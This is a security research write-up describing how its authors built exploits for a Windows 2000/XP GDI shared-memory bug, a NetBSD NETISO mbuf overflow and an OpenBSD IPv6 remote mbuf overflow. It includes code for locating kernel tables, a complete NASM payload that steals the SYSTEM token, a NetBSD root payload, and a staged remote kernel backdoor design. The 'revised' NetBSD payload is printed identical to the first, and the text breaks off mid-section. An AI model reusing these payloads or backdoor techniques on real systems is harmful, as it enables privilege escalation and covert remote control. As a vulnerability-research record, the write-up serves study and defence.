Windows GDI Local Kernel Memory Overwrite

Vulnerability researched and exploit developed by

Joel Eriksson <joel.eriksson@bitsec.com>

About the bug

The Graphics Device Interface, GDI, is part of the Win32-subsystem and is responsible for displaying graphics on devices such as video displays as well as printers.

Basic information about all GDI objects on the system are stored in a shared memory section named GdiSharedHandleTable. This table is automatically mapped read-only into every GUI-process on the system and its contents are only updated by the kernel.

Well, that is how it was supposed to be anyway. If one is able to determine the handle to the GdiSharedHandleTable shared memory section, it is possible to make an alternate mapping with full read-write access. Being able to write to data which only the kernel is supposed to write to can never be a good thing, depending on ones perspective of course.

This bug was found and reported to Microsoft by Cesar Cerrudo from Argeniss over two and a half years ago now (2004-10-22), but was not made public until the “Month of Kernel Bugs” project [1] in November 2006. Windows 2003 and Vista is not vulnerable, but all releases of Windows 2000 and XP were, until a couple of weeks after our talk at BlackHat Europe when a patch was released. ;)

When Cesar made the bug public, he made a PoC exploit available for crashing the system by filling the entire table with 0x58-chars. I expected a real exploit for the bug to be released shortly afterwards, but time went by and neither an exploit nor a patch was released. In January I decided to give it a try myself.

By this time I had no idea whether it was even possible to reliably exploit this vulnerability, since it was far from obvious judging from the PoC exploit and the crash it produced due to a read from NULL pointer.

Reliably determining the GDI section handle

The first problem I faced was to come up with a reliable way for determining the handle to the shared memory section. The PoC exploit bruteforced the handle and assumed that the first valid handle it found was to the GDI section, which was far from a safe assumption and actually wasn’t the case on any of the systems I tested it on initially.

To come up with a more reliable method I first had to learn more about the contents of GdiSharedHandleTable. After googling around and learning more about GDI in general, reading various MSDN-articles [2] and other resources I could find I learned that GdiSharedHandleTable is an array of these structs:

```
typedef struct {
    DWORD pKernelInfo;  // Pointer to kernelspace GDI object data
    WORD ProcessID;     // Process ID
    WORD _nCount;       // Reference count?
    WORD nUpper;        // Upper 16 bits of GDI object handle
    WORD nType;         // GDI object type ID
    DWORD pUserInfo;    // Pointer to userspace GDI object data
} GDITableEntry;
```

The GdiSharedHandleTable array contains 0x4000 entries in Windows 2000 and 0x10000 entries in Windows XP. Since each entry occupies 16 bytes, the size of the GDI shared memory section is at least 0x40000 or 0x100000 bytes in Windows 2000 and Windows XP respectively.

Just checking that the size of memory section is at least 0x40000 / 0x100000 bytes large is actually often enough for reliably finding the GDI section, but not reliable enough for my taste. By examining the contents of the GDI table entries I should be able to determine whether I've really found the GDI table.

During my googling-session I had learned that a handle to a GDI object actually consisted of a 16-bits index into GdiSharedHandleTable, in the lower 16 bits, combined with a random 16-bit value, in the upper 16 bits, that should match the nUpper-field of the GDI table entry.

By creating a GDI object (like a window for instance, not necessarily a visible one though) I could sanity check each potential GDI section mapping by verifying that the nUpper-, ProcessID- and nType-fields for the GDI object I had created have the expected values.

Selected parts of the code I made for finding the GDI section:

```
hWnd = CreateWindow(0,0,0,0,0,0,0,0,0,0,0);
hDC  = GetDC(hWnd);
wIdx = (WORD) (((DWORD) hDC) & 0xffff);
wUpr = (WORD) (((DWORD) hDC) >> 16);
nPID = GetCurrentProcessId();
...
for (hMap = (HANDLE) 0; hMap < 0x10000; hMap++) {
    ... (map section and check its size)
    if (pGDI[wIdx].ProcessID     == nPID
    &&  pGDI[wIdx].wUpper        == wUpr
    && (pGDI[wIdx].wType & 0xFF) == 1)
        break;
}
```

Setting up a kernel debugging environment

For further research into the vulnerability I had to set up a decent debugging environment. I had no previous windows kernel debugging experience, so the first choice to make was what debugger to use.

The options available for serious kernel debugging in Windows have traditionally been SoftICE and Microsofts own WinDbg [3]. Since SoftICE is discontinued since a while back the choice was obvious. Besides being a very powerful kernel-mode debugger it also has the advantage of being free (as in beer).

The main drawback with using WinDBG is that it normally requires a two machine setup, for remote debugging through a serial port connection. Fortunately it is also possible to run the debuggee in a VMWare instance [4] and attach the virtual serial port to a named pipe, which can be attached to from WinDbg on the host or even connected to the virtual serial port of another VMWare instance in case you don't use Windows as the host OS.

Finding a way to exploit the bug

So, we know how to find the GDI section and we have debugging set up so we can see what is happening when we produce a crash. Now it's time to figure out a way to use this bug into doing something useful, from an attacker's point of view. The obvious points of attack are the pUserInfo and pKernelInfo pointers, since it is quite likely that some part of the objects they point to will at some time be dereferenced and written to, or even used as a function pointer.

By manipulating the pUserInfo pointer for a GDI object owned by a privileged process we might be able to achieve arbitrary code execution in the context of that process. The advantage of this would be that we don't have to write a kernel-mode payload, which might be challenging. On the other hand it is probably quite hard, perhaps even impossible, to find a reliable and generic way to exploit it this way. There might not even be a privileged process available that uses GDI-resources and even if there is we don't have control over what types of objects it creates or what GDI operations it calls. Thus, I didn't even bother with this approach. Also, attacking the kernel directly is way more fun. ;-)

By manipulating the pKernelInfo pointer we hope to be able to achieve a write to an arbitrary kernel-mode address, which would be trivial to turn into arbitrary code execution. When exploiting local kernel bugs any write-operation to an attacker-specified address is usually good enough for that. The reason for this is that even when we are not able to control the value that is written, we can almost always place our payload on the address the value represents. Even mapping the NULL page (address 0 to 0x1000) is possible:

```
dwAddr = 1;       // Can't use 0 directly, but this will be rounded down to 0. :)
ulSize = 0x1000; // 0x1000 bytes is more than enough for our payload
rc = NtAllocateVirtualMemory(
    (HANDLE) -1, (PVOID) &dwAddr, 0, &ulSize,
    MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE
);
```

The methodology used for finding a way to achieve an arbitrary memory overwrite was partially trial and error, by pointing the pKernelInfo pointer into specially crafted data, calling various GDI related system calls and observing in the debugger what happens. Besides crafting data and debugging I used static analysis of the WIN32K.SYS driver with IDA Pro to learn more about the GDI subsystem.

After some time of good old creative debugging I finally found a reliable way to write the value 2 (byte sequence: 02 00 00 00) to an arbitrary address. Since we are able to map the NULL page, I could actually use this number as the payload address directly. Another possibility would be to use two partial overwrites to construct a higher address (0x02000002) that can be mapped directly with VirtualAlloc().

My initial testing was done on Windows XP SP2 and I more or less assumed I would have to make some adjustments for achieving the overwrite Windows 2000 and perhaps even the previous XP servicepacks. Turns out this was not required, I had stumbled upon a completely reliable method for W2K/WXP *.

The exploit method

The method I came up with for triggering the write is the following:

- Create a BRUSH-object
- Point the pKernelInfo pointer into usermode data with:
    - `FakeKernelObj[0] = <Evil GDI Object Handle>`
    - `FakeKernelObj[2] = 1`
    - `FakeKernelObj[9] = <Target Address>`
- Call syscall NtGdiDeleteObjectApp(<Evil GDI Object Handle>)
- Boom! 0x00000002 is written to <Target Address>

Determining where to write

At this point the only remaining step is to find a suitable function pointer to overwrite. While there probably are many function pointers in the kernel that potentially could be used, we specifically need to find one which fulfills these conditions:

- It should be possible to reliably determine its address
- It should be called in the context of our exploit process
- It should be rarely used, specifically it must not be used during the time between us overwriting it and us triggering a call to it within the context of our exploit (which would lead to a BSoD)

The obvious choice is to overwrite the syscall pointer for a rarely used system call. Triggering a call to it is then just a matter of triggering the 0x2E interrupt with EAX being set to the syscall number. If we need to pass arguments to the syscall we can pass a pointer to them in the EDX register. Here is code for doing it in with GCC/MinGW:

```
DWORD DoSysCall(DWORD dwSysCall, PDWORD pdwArgs)
{
    __asm__(
        “mov   %0,%%eax\n\t”
        “mov   %1,%%edx\n\t”
        “int   $0x2e\n\t”
        “add   $4,%%esp\n\t”
        :
        : “m”(pdwArgs), “m”(dwSysCall)
        : “eax”, “edx”
    );
}
```

So, where are the syscall pointers stored and how can we determine the address to them? Well, there are actually two kinds of syscalls, which are stored in two separate tables. First there is the native NT API provided by the core kernel NTOSKRNL.EXE, with its syscall pointers being stored in a table named KiServiceTable. Then there are the syscalls for the Win32 subsystem, which includes the GDI related syscalls. These are stored in a table in WIN32K.SYS which is called W32pServiceTable.

My first choice was using a pointer in KiServiceTable, which was quite convenient since there are documented ways to determine its address. Specifically, I used a method posted to the rootkit.com message board under the pseudonym 90210 [5] which should be very reliable.

This worked like a charm for Windows XP SP2 and Windows 2000, but then mysteriously failed and caused a BSoD for Windows XP SP1. When checking it out with WinDbg I was surprised to see that it crashed on the write to the syscall pointer. Turns out KiServiceTable actually resides in the read-only text segment of NTOSKRNL but no Windows release (of the ones I tested) except XP SP1 actually enforces read-only kernel pages.

To my surprise, W32pServiceTable resided in the writable data segment of WIN32K.SYS and not its read-only text segment. This was perfect for our purposes, but unlike for KiServiceTable I did not know a reliable way to determine its address. It is not an exported symbol.

My first idea was searching for at least 600 consecutive pointers to the WIN32K.SYS text segment from within its data segment, since there are over 600 syscalls provided by WIN32K.SYS. This method worked fine in some cases, but not in the case that there are unrelated pointers to the text segment right before the start of W32pServiceTable.

The second and final idea was searching for the call to KeAddSystemServiceTable() withing the INIT-section of WIN32K.SYS, which is used for registering W32pServiceTable in NTOSKRNL. The entire code for looking this up is 200+ lines, but here are selected parts of it.

First we need to find to find the KeAddSystemServiceTable IAT-entry:

```
for (i = 0; i < dwSize / sizeof(pid[0]); i++) {
      if (pid[i].Name != 0) {
            ptd = (PIMAGE_THUNK_DATA) &pMap[pid[i].FirstThunk];
            for (j = 0; ptd[j].u1.AddressOfData; j++) {
                  DWORD x = ptd[j].u1.AddressOfData + 2;
                  if (! strcmp(
                        &pMap[x],
                        "KeAddSystemServiceTable"
                  ))
                        break;
            }
            if (ptd[j].u1.AddressOfData != 0)
                  break;
      }
}
```

We calculate the address to the IAT-entry like this:

```
dwIAT  = poh->ImageBase;
dwIAT += pid[i].FirstThunk;
dwIAT += j * sizeof(ptd[0]);
```

Then we search for the call to this IAT-entry, from within the INIT-section:

```
for (p = pInit; p < &pInit[dwInitSize-6]; p++)
      if (p[0] == 0xFF && p[1] == 0x15) {
            DWORD x = *((PDWORD) &p[2]);
            if (x == dwIAT)
                  break;
      }
```

Finally we search for the push of the W32pServiceTable-argument:

```
For (p -= 5; p > pInit; p--)
      if (p[0] == 0x68) {
            DWORD x = *((PDWORD) &p[1]);
            if (x >= dwDataMin && x <= dwDataMax) {
                  dwW32pServiceTableAddr = x;
                  break;
            }

      }
```

Payload

Kernel-mode privilege escalation in Windows are not quite as simple as in Unix, instead of just setting an UID-field we need to either make or steal an access token, which is a rather complicated variable-sized structure. The easiest way to escalate ones privileges is to “steal” an existing access token from a privileged process (e.g. running with SYSTEM-privileges).

The process of doing this is rather well understood, or so I thought. My first approach was using the same approach as other privilege escalation payloads I’ve seen [6]. This usually worked fine, especially when just triggering the exploit once, but occasionally it resulted in a BSoD.

I knew it was related to the payload, since when I used a payload that just immediately returned I could trigger the exploit in a loop all day long without crashing the system. By examining the crashes with WinDbg I noticed that the crashes seemed to be related to the reference counting of access tokens. The lowest three bits of the access token pointer was actually being used as a reference counter.

No matter what I tried, which included incrementing the reference count of the original token, setting the reference count of the stolen access token to zero and so on, I always ended up crashing if I repeatedly trigger the exploit. This was not good enough for me.

My final solution was very simple and also had the advantage of not leaking memory due to discarding the original access token. At the end of my exploit, after doing whatever I wanted to do with elevated privileges (like executing a privileged cmd.exe process), I trigger a restore-payload.

The restore-payload restores the original access token and also the original value of the overwritten syscall pointer. After this modification I’ve finally reached my goal, a reliable and stable local privilege escalation exploit for all Windows 2000 and Windows XP systems.

The full and commented payload(s), suitable for compiling with NASM, follows:

```
[BITS 32]

OFF_ETHREAD       equ 0x124              ; ETHREAD offset from fs
OFF_EPROCESS      equ 0x44               ; EPROCESS offset in ETHREAD

%ifdef W2K
PID_SYSTEM        equ 8                  ; PID with SYSTEM-token
OFF_PID           equ 0x9c               ; UniqueProcessId-offset
OFF_FLINK         equ 0xa0               ; Flink-offset
OFF_TOKEN         equ 0x12c              ; Token-offset
%else
PID_SYSTEM        equ 4                  ; PID with SYSTEM-token
OFF_PID           equ 0x84               ; UniqueProcessId-offset
OFF_FLINK         equ 0x88               ; Flink-offset
OFF_TOKEN         equ 0xc8               ; Token-offset
%endif

PayloadCode:
      ; Get pointer to exploit process
      mov eax, [fs:OFF_ETHREAD]          ; eax = ETHREAD
      mov eax, [eax+OFF_EPROCESS]        ; eax = EPROCESS
      mov ecx, eax

FindSystemProcess:
      mov eax, [eax+OFF_FLINK]           ; EPROCESS.ActiveProcessLinks.Flink
      sub eax, OFF_FLINK                 ; eax = EPROCESS
      cmp DWORD [eax+OFF_PID], PID_SYSTEM ; Check if PID_SYSTEM
      jnz FindSystemProcess              ; If not, continue searching

      mov edx, [eax+OFF_TOKEN]           ; edx = EPROCESS.Token (System)
      mov eax, [ecx+OFF_TOKEN]           ; eax = EPROCESS.Token (Exploit)
      mov [ecx+OFF_TOKEN], edx           ; Exploit.Token = System.Token
      ret

RestoreCode:
      ; Get pointer to exploit process
      mov eax, [fs:OFF_ETHREAD]          ; eax = ETHREAD
      mov eax, [eax+OFF_EPROCESS]        ; eax = EPROCESS
      mov ecx, [esp+4]                   ; ecx = Arg (pdwArgs)
      mov edx, [ecx]                     ; edx = OrigToken
      mov [eax+OFF_TOKEN], edx           ; EPROCESS.Token = OrigToken
      mov eax, [ecx+4]                   ; eax = SysCallAddr
      mov edx, [ecx+8]                   ; edx = OrigSysCall
      mov [eax], edx                     ; *SysCallAddr = OrigSysCall
      ret
```

Summary

Except for being used by restricted users to escalate their privileges on a system this vulnerability could be abused for embedding an automatic privilege escalation stub into existing exploits for browser/office/whatever-bugs or on a malicious U3 USB-stick, to mention a few examples.

It totally bypasses the NT security model and makes any exploit which achieves code execution with any privileges a full system compromising exploit. It could also be used to bypass sandboxing solutions, such as SandboxIE [7]. In my humble opinion, this is quite serious, and I'm surprised to see that it took Microsoft several years to provide a patch for it.

To Microsofts defense, they might have considered this to be only a local DoS issue, until our BlackHat Europe talk…

References

1. http://projects.info-pull.com/mokb/
2. http://msdn.microsoft.com/msdnmag/issues/03/01/GDILeaks/
3. http://www.microsoft.com/whdc/devtools/debugging/default.mspx
4. http://www.catch22.net/tuts/vmware.asp
5. http://www.rootkit.com/newsread_print.php?newsid=176
6. http://www.scan-associates.net/papers/navx.c
7. http://www.sandboxie.com/

NetBSD Local mbuf Overflow

Vulnerability found and exploit developed by

Christer Öberg <christer.oberg@bitsec.com>

NetBSD NETISO Introduction

The NetBSD Vulnerability presented at Blackhat Las Vegas 2007 at the kernel wars talk is similar to the NetBSD vulnerability from the original kernel wars talk in Amsterdam. Both bugs were found using a fuzzing engine developed by Claes Nyberg <claes.nyberg@bitsec.com>.

The bug

This bug is very similar to the CLNP vulnerability that was demonstrated in Amsterdam. A length variable in a sockaddr structure is exploited through a different system call (bind()). A call is made to bcopy() with the length argument controlled by the user through the sockaddr. This enables an attacker to overwrite parts of tp_pcb structure, including a sockbuf structure within it.

The sockbuf structure contains among other things mbuf pointers which can be controlled with this overflow. When the socket is closed these mbufs within the sockbuf structure are freed by sbdrop().

The bcopy call from tp_pcbbind() is shown below:

```
892 bcopy(tsel, tpcb->tp_lsuffix, (tpcb->tp_lsuffixlen = tlen));
```

The sockbuf and tp_pcb structures are quite large and is therefore not shown here. They can be found in sys/netiso/tp_pbc.h and sys/socketvar.h respectively.

The sbdrop function (shown on the next page), will free the mbufs associated with the sockbuf that was overwritten with the overflow earlier. This function is called when the socket is closed.

```
1024 sbdrop(struct sockbuf *sb, int len)
1025 {
1026         struct mbuf     *m, *mn, *next;
1027
1028         next = (m = sb->sb_mb) ? m->m_nextpkt : 0;
1029         while (len > 0) {
1030                 if (m == 0) {
1031                         if (next == 0)
1032                                 panic("sbdrop");
1033                         m = next;
1034                         next = m->m_nextpkt;
1035                         continue;
1036                 }
1037                 if (m->m_len > len) {
1038                         m->m_len -= len;
1039                         m->m_data += len;
1040                         sb->sb_cc -= len;
1041                         break;
1042                 }
1043                 len -= m->m_len;
1044                 sbfree(sb, m);
1045                 MFREE(m, mn);
1046                 m = mn;
1047         }
1048         while (m && m->m_len == 0) {
1049                 sbfree(sb, m);
1050                 MFREE(m, mn);
1051                 m = mn;
1052         }
1053         if (m) {
1054                 sb->sb_mb = m;
1055                 m->m_nextpkt = next;
1056         } else
1057                 sb->sb_mb = next;
1058         /*
1059          * First part is an inline SB_EMPTY_FIXUP(). Second part
1060          * makes sure sb_lastrecord is up-to-date if we dropped
1061          * part of the last record.
1062          */
1063         m = sb->sb_mb;
1064         if (m == NULL) {
1065                 sb->sb_mbtail = NULL;
1066                 sb->sb_lastrecord = NULL;
1067         } else if (m->m_nextpkt == NULL)
1068                 sb->sb_lastrecord = m;
1069 }
```

Exploiting mbufs

Mbufs are normally freed with the mfree() function shown below:

```
struct mbuf *
m_free(struct mbuf *m)
{
    struct mbuf *n;
    MFREE(m, n);
    return (n);
}
```

The MFREE macro doing all the real work when freeing an mbuf is shown below:

```
#define MFREE(m, n) \
    MBUFLOCK( \
        mbstat.m_mtypes[(m)->m_type]--; \
        if ((m)->m_flags & M_PKTHDR) \
        m_tag_delete_chain((m), NULL); \
        (n) = (m)->m_next; \
        _MOWNERREVOKE((m), 1, m->m_flags); \
        if ((m)->m_flags & M_EXT) { \
            m_ext_free(m, TRUE); \
        } else { \
            pool_cache_put(&mbpool_cache, (m)); \
        } \
)
```

Here are the macros and structs that define the mbuf structure in NetBSD:

```
#define MBUF_DEFINE(name, mhlen, mlen) \
    struct name { \
        struct m_hdr m_hdr; \
        union { \
            struct { \
            struct pkthdr MH_pkthdr; \
            union { \
                struct _m_ext MH_ext; \
                char MH_databuf[(mhlen)]; \
            } MH_dat; \
        } MH; \
        char M_databuf[(mlen)]; \
    } M_dat; \
}

struct m_hdr {
    struct mbuf *mh_next; /* next buffer in chain */
    struct mbuf *mh_nextpkt; /* next chain in queue/record */
    caddr_t mh_data; /* location of data */
    struct mowner *mh_owner; /* mbuf owner */
    int mh_len; /* amount of data in this mbuf */
    int mh_flags; /* flags; see below */
    paddr_t mh_paddr; /* physical address of mbuf */
    short mh_type; /* type of data in this mbuf */
};
```

```
struct pkthdr {
    struct ifnet *rcvif; /* rcv interface */
    SLIST_HEAD(packet_tags, m_tag) tags; /* list of packet tags */
    int len; /* total packet length */
    int csum_flags; /* checksum flags */
    u_int32_t csum_data; /* checksum data */
};

struct _m_ext {
    caddr_t ext_buf; /* start of buffer */
    void (*ext_free) /* free routine if not the usual */
    (struct mbuf *, caddr_t, size_t, void *);
    void *ext_arg; /* argument for ext_free */
    size_t ext_size; /* size of buffer, for ext_free */
    struct malloc_type *ext_type; /* malloc type */
    struct mbuf *ext_nextref;
    struct mbuf *ext_prevref;
    union {
        paddr_t extun_paddr; /* physical address (M_EXT_CLUSTER) */
                             /* pages (M_EXT_PAGES) */
#ifdef M_EXT_MAXPAGES
        struct vm_page *extun_pgs[M_EXT_MAXPAGES];
#endif
    } ext_un;
#define ext_paddr ext_un.extun_paddr
#define ext_pgs ext_un.extun_pgs
#ifdef DEBUG
    const char *ext_ofile;
    const char *ext_nfile;
    int ext_oline;
    int ext_nline;
    #endif
};

MBUF_DEFINE(mbuf, MHLEN, MLEN);
```

The MFREE macro will call the m_ext_free() function provided that we have set the M_EXT flag on our mbuf.

The m_ext_free() function is shown below:

```
m_ext_free(struct mbuf *m, boolean_t dofree)
{
    if (MCLISREFERENCED(m)) {
        MCLDEREFERENCE(m);
    } else if (m->m_flags & M_CLUSTER) {
        pool_cache_put_paddr(m->m_ext.ext_arg,
        m->m_ext.ext_buf, m->m_ext.ext_paddr);
    } else if (m->m_ext.ext_free) {
        (*m->m_ext.ext_free)(dofree ? m : NULL, m->m_ext.ext_buf,
        m->m_ext.ext_size, m->m_ext.ext_arg);
        dofree = FALSE;
    } else {
        free(m->m_ext.ext_buf, m->m_ext.ext_type);
    }
    if (dofree)
        pool_cache_put(&mbpool_cache, m);
}
```

Only the first two and last two lines of that function are of interest provided that M_EXT is the only flag set in m_flags and that m_ext.ext_free is not set. In this scenario the two last lines of the function will put the mbuf into the mbpool_cache. Since it has no business being there it will cause some problems later. The solution for this problem is to reinitialize the mbpool by calling mbinit(). The MCLISREFERENCED and _MCLDEREFERENCE macros are shown below:

```
#define MCLISREFERENCED(m) ((m)->m_ext.ext_nextref != (m))
#define _MCLDEREFERENCE(m) \
    do { \
        (m)->m_ext.ext_nextref->m_ext.ext_prevref = \
        (m)->m_ext.ext_prevref; \
        (m)->m_ext.ext_prevref->m_ext.ext_nextref = \
        (m)->m_ext.ext_nextref; \
    } while (/* CONSTCOND */ 0)
```

MCLISREFERENCED(m) is true if our nextref pointer is not pointing to our own mbuf (i.e. there are more mbufs in the chain). If there are more mbufs in this chain the _MCLDEREFERENCE macro is executed, this macro unlinks the mbuf being freed from the chain by joining the neighboring mbufs.

Imagine passing an mbuf to this macro with the ext_nextref pointer set to 0xdeadbeef and the ext_prevref pointer set to 0xbadc0ded. Then the result of the macro being executed can be described by the following two C-statements where NN and PP are the offsets to ext_nextref and ext_prevref within the mbuf respectively:

```
*(unsigned *) (0xbadc0ded+NN) = 0xdeadbeef
*(unsigned *) (0xdeadbeef+PP) = 0xbadc0ded
```

This enables an attacker to write a 32-bit value to an arbitrary address. Possible targets to take control over the kernel are, saved return addresses on the stack, function pointers, sysent table etc.

Exploring the m_ext_free() function further, this time with the interesting bits highlighted we can see that there is an easier way of exploiting the mbuf.

```
m_ext_free(struct mbuf *m, boolean_t dofree)
{
    if (MCLISREFERENCED(m)) {
        MCLDEREFERENCE(m);
    } else if (m->m_flags & M_CLUSTER) {
        pool_cache_put_paddr(m->m_ext.ext_arg,
        m->m_ext.ext_buf, m->m_ext.ext_paddr);
    } else if (m->m_ext.ext_free) {
        (*m->m_ext.ext_free)(dofree ? m : NULL, m->m_ext.ext_buf,
        m->m_ext.ext_size, m->m_ext.ext_arg);
        dofree = FALSE;
    } else {
        free(m->m_ext.ext_buf, m->m_ext.ext_type);
    }
    if (dofree)
        pool_cache_put(&mbpool_cache, m);
}
```

This time we don't want to exploit the unlinking of an mbuf. So we'll need to get the MCLISREFERENCED macro to evaluate false. This is achieved by referencing our own mbuf with the ext_nextref pointer.

The second block of highlighted code shows us a function pointer within the mbuf structure being called if it is set! It is trivial to point m_ext.ext_free variable to a memory location we control and start executing code there when the mbuf is passed to m_free()! Furthermore the variable dofree is set to

false in the same code block, which means that no attempt will be made to push the mbuf back into mbpool_cache. This saves us the trouble of cleaning the pool up.

Payload

My payload is really simple since all I have to do is elevate my privileges locally. The way I do that, is by obtaining a pointer to my process' proc pointer. The proc structure contains a pointer to a structure describing the credentials. Elevating the process privileges is a simple matter of changing the uid/gid values in the credential structure.

To obtain the proc pointer I mimic what curlwp does and first get a pointer to the curlwp (current light weight process). A proc pointer can then be obtained from the lwp structure.

The curlwp macro along with the curcpu() intel implementation is shown below:

```
#define curlwp          curcpu()->ci_curlwp
196 curcpu()
197 {
198         struct cpu_info *ci;
199
200         __asm __volatile("movl %%fs:%1, %0" :
201             "=r" (ci) :
202             "m"
203             (*(struct cpu_info * const *)offsetof(struct cpu_info, ci_self)));
204         return ci;
205 }
```

Using this information we can write a simple payload to elevate the process privileges to root.

```
# first get proc pointer
mov eax,[fs:0x4]
mov eax,[eax+0x14]
mov eax,[eax+0x10]

mov eax,[eax+0x8] # get pcred pointer in proc struct
mov [eax+0x4],0x0 # set UID to 0
ret
```

Remember mbuf being MFREE'd in a while loop in sbdrop()? We can simply check what the “len” argument is and subtract accordingly to break out of the loop, but I'm lazy and we already got code execution going through the mbuf function pointer when the first mbuf in the chain is freed. So instead of playing nice and breaking out of the while loop like you'd normally do, I execute an “extra” leave instruction in the payload before returning and return to a frame “higher” up. So the new payload becomes:

```
# first get proc pointer
mov eax,[fs:0x4]
mov eax,[eax+0x14]
mov eax,[eax+0x10]

mov eax,[eax+0x8] # get pcred pointer in proc struct
mov [eax+0x4],0x0 # set UID to 0
ret
```

OpenBSD IPv6 Remote mbuf Overflow

Vulnerability researched and exploit developed by

Claes Nyberg <claes.nyberg@bitsec.com>

Introduction

This bug was found by Alfredo Ortega which also released a PoC that executed a breakpoint, but no working exploit. The advisory can be found at [1].

Targets

OpenBSD 4.1 (prior to Feb. 26th, 2006), 4.0, 3.9, 3.8, 3.6 and 3.1 was tested and reported as vulnerable in the advisory from Core. I found the following default installations of OpenBSD (x86) releases to be vulnerable: 4.0, 3.9, 3.8, 3.7, 3.6, 3.5, 3.4, 3.3, 3.2 and 3.1. Earlier releases supporting IPv6 are likely to be vulnerable as well. The code has changed between 3.6 and 3.7 so a different technique is required for targeting versions <= 3.6. I focused on 3.7, 3.8, 3.9 and 4.0 in my exploit.

Taking control of execution flow

By sending fragmented ICMPv6 packets it is possible to overwrite a complete mbuf structure.

From /usr/src/sys/sys/mbuf.h:

```
struct mbuf {
    struct  m_hdr m_hdr;
    union {
        struct {
            struct  pkthdr MH_pkthdr;   /* M_PKTHDR set */
            union {
                struct  m_ext MH_ext;   /* M_EXT set */
                char    MH_databuf[MHLEN];
            } MH_dat;
        } MH;
        char    M_databuf[MLEN];        /* !M_PKTHDR, !M_EXT */
    } M_dat;
};

/* description of external storage mapped into mbuf, valid if M_EXT set */
struct m_ext {
    caddr_t ext_buf;        /* start of buffer */
                    /* free routine if not the usual */
    void    (*ext_free)(caddr_t, u_int, void *);
    void    *ext_arg;       /* argument for ext_free */
    u_int   ext_size;       /* size of buffer, for ext_free */
    int ext_type;
    struct mbuf *ext_nextref;
    struct mbuf *ext_prevref;
#ifdef DEBUG
    const char *ext_ofile;
    const char *ext_nfile;
    int ext_oline;
    int ext_nline;
#endif
};
```

There are multiple possible ways of gaining control of the execution flow when controlling the whole mbuf structure. When the mbuf flags are set to `M_EXT (1)`, we can abuse the `MH_ext` structure in the following ways:

- Overwrite the `ext_free` function pointer to jump anywhere we want
- Set ext_free=NULL and set ext_buf to an address which is free'd by `free(9)`
- Set ext_nextref and ext_prevref to write a 32 bit value when unlinked

At this point it seems like overwriting the ext_free function pointer inside the m_ext structure in the mbuf is the most reliable way. The sad part is that we need to have a hard coded address to reach controlled data.

The registers ecx, ebx and esi points to the start of the overwritten mbuf and can be used to jump to controlled data (start of the overwritten mbuf). Unfortunately, a universal address which points to any jmp/call instruction for these registers have not been found.

Register values after jmp to start of controlled mbuf:

```
0xd611db03 in ?? ()
(gdb) info registers
eax            0xd02022f0       -803200272
ecx            0xd611db00       -703472896
edx            0x81     129
ebx            0xd611db00       -703472896
esp            0xd088d9ea       0xd088d9ea
ebp            0xd088da16       0xd088da16
esi            0xd611db00       -703472896
edi            0x30     48
eip            0xd611db03       0xd611db03
```

From here we then make a jump backwards to stage 1 which is located directly before the overwritten mbuf.

The payload

The payload is divided into three parts:

- Stage 1 - Installs the backdoor
- Stage 2 – The backdoor, icmp6_input wrapper
- Stage 3 – Backdoor command(s)

Stage 1

When stage 1 is executed it starts by resetting some values in the overwritten mbuf (marking it as free, clearing flags etc), just to set things right and avoid any possible crash later on. The next step is to search for stage 2.

Stage 2 is injected into the memory as data in a valid ICMPv6 packet, and prepended with a magic value (`0xbadc0ded`) to simplify searching. The naive approach for finding stage 2 is to search the memory for the magic value. but as it turns out there is an universal offset for finding the mbuf chain for the previous packet on the stack from the call to `m_freem()` that is used to gain control of the execution flow: `%esp – 0x6c`.

```
(gdb) x/x ((struct mbuf *)($esp+0x6c))->m_hdr.mh_next->m_hdr.mh_next->m_hdr.mh_data
0xd620e040:     0xbadc0ded
```

The symbol resolver used by all the stages resides in stage 2 (more about this later). Stage 1 uses this to resolve the address of `inet6sw`. This is an array containing various data for IPv6. We find the address to the current icmp6_input routine in this array (`inet6sw[4].pr_input`). Once the address is found, stage 2 checks if the backdoor is already installed by comparing the first four bytes in the function with the comparing bytes in the backdoor (the backdoor does not start with the push %ebp instruction, but with a call to get its current location).

If the backdoor is not installed, stage 1 resolves malloc and allocates a chunk of memory for stage 2 and “arguments”. The information required (the address to the pointer, and the value) to restore the current `icmp6_input` routine in `inet6sw` is added to the allocated buffer, to make it possible for stage 2 to uninstall itself later on.

Since we are currently running with network interrupts disabled, we simply overwrite the function pointer with the address of the allocated buffer.

Stage 1 then clean up the stack and returns (as suggested in the PoC code by Alfredo Ortega):

```
addl    $0x20, %esp
popl    %ebx
popl    %esi
popl    %edi
leave
ret
```

Stage 2 – The backdoor

Stage 2 monitors all ICMPv6 packets arriving to the network interface and searches for a sequence of magic bytes that marks the payload data as a stage 3 command. Since ICMPv6 packets are used when exploiting the vulnerability we know that these packets can reach the system if the exploit succeeded and that we have a way to fully control the system from remote.

In order to make the exploit as general as possible, the stage 3 commands should use system calls. Performing system calls from within the kernel requires a process context, which we don't have in the

`icmp6_input` routine since this is called from within an interrupt.

In earlier versions of OpenBSD it was possible to `fork1()` from the `initproc` process structure while running from an interrupt, this does not work any more. The solution is simply to wrap a system call and wait for a process to call it and then `fork1()` from that process to create a new process that can be fully controlled from within the kernel, without affecting the system processes. Looking at the default installations of OpenBSD, the `gettimeofday()` system call is used frequently by many processes, so this is a good target.

Once a stage 3 command is detected in the payload of an ICMPv6 packet, the code is copied to a new memory region (created by `malloc` as type `M_DEVBUF`) and set as the routine that handles the `gettimeofday()` system call. In order for the stage 3 command to remove itself, the index of the wrapped system call and the previously used address is stored at the beginning of the buffer. The address to the symbol resolver routine is stored there as well. The stage 3 command starts its execution by saving the current address to be able to restore the syscall:

```
stage3_start:
      # Get our location
      call get_location
      nop
      get_location:
      # Point to start of code
      # to be able to extract syscall information
      popl    %ecx
      subl    $5, %ecx
```

The following macros can be used for getting/setting the address of the routine that handles the system call:

```
      # Resolve syscall address from table
      .macro get_syscall sysent, idx, reg
            movl   \sysent, %ecx
            movl   \idx, \reg # Index
            movl   4(%ecx, \reg, 8), \reg
      .endm
      # Set syscall address in table
      .macro set_syscall sysent, idx, addr
            movl   \sysent, %ecx
            movl   \idx, %eax # Index
            movl   \addr, 4(%ecx, %eax, 8)
      .endm
```

Symbol resolver

